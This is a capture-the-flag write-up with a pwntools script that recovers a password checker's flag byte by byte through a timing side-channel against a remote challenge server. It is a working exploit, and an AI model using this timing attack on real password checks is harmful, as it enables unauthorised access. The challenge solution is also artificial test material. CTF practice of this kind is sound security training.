Tags: pwn 

Rating:

```python
from pwn import *
import math

exe = './orakl-password-checker'

context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

gs = '''
b main
set disable-randomization off
continue
'''

def start(argv=[]):
if args.GDB:
r = gdb.debug([exe] + argv, gdbscript=gs)
else:
if args.LOCAL:
r = process('./orakl-password-checker')
else:
r = remote("184.72.87.9", 8006)
return r

def main():
FLAG=b'flag'
for i in range(0,60):
r = start()
FLAG += b'\x00'
r.sendlineafter('wrong!\n', FLAG)
start_time = time.time()
r.recvuntil('wrong')
end_time = time.time()
elapsed_time = end_time - start_time
print("Elapsed time: ", math.floor(elapsed_time))
FLAG = FLAG[:-1]
FLAG += chr(math.floor(elapsed_time)).encode()
print(f'FLAG: {FLAG}')
r.close()


r.interactive()

if __name__ == "__main__":
main()
```

Original writeup (https://github.com/Internaut401/CTF_Competitions_Writeup/blob/master/2023/orakl-password-checker.md).